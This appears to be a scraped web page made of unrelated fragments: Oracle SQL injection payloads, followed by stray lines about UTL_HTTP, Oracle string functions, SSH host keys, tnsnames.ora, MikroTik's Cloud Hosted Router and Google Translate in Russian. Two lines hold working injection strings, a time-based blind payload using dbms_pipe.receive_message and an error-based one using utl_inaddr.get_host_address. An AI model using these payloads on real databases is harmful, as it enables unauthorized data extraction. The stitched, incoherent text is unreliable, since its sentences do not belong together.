(SELECT CASE WHEN (NVL(ASCII(SUBSTR(({INJECTION}),1,1)),0) = 100) THEN dbms_pipe.receive_message(('xyz'),10) ELSE dbms_pipe.receive_message(('xyz'),1) END FROM dual). {INJECTION} = You want to run the query. If the condition is true, will response after 10 seconds.
This article describes the method for enabling HTTPS access from the UTL_HTTP package.
The Oracle CHR function, as well as the ASCII, NCHR and ASCIISTR functions are for performing string manipulation.
...Or+7686=utl_inaddr.get_host_address(chr(113)||chr(118)||chr(122)||chr(122)||chr(113)||(select+(case+when+(7686=7686)+then+1+else+0+end)+from+dual)||chr(113)||chr(118)||chr(98)||chr(120)||chr(113))+and+(8921=8921.
It is also possible that a host key has just been changed.
In my case, the installation and configuration of the databases put entries in the tnsnames.ora file for the databases I was running.
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Cloud Hosted Router (CHR) is a RouterOS version intended for running as a virtual machine. It supports the x86 64-bit architecture and can be used on most of the popular hypervisors such as VMWare, Hyper-V, VirtualBox, KVM and others.
Бесплатный сервис Google позволяет мгновенно переводить слова, фразы и веб-страницы с английского более чем на 100 языков и обратно.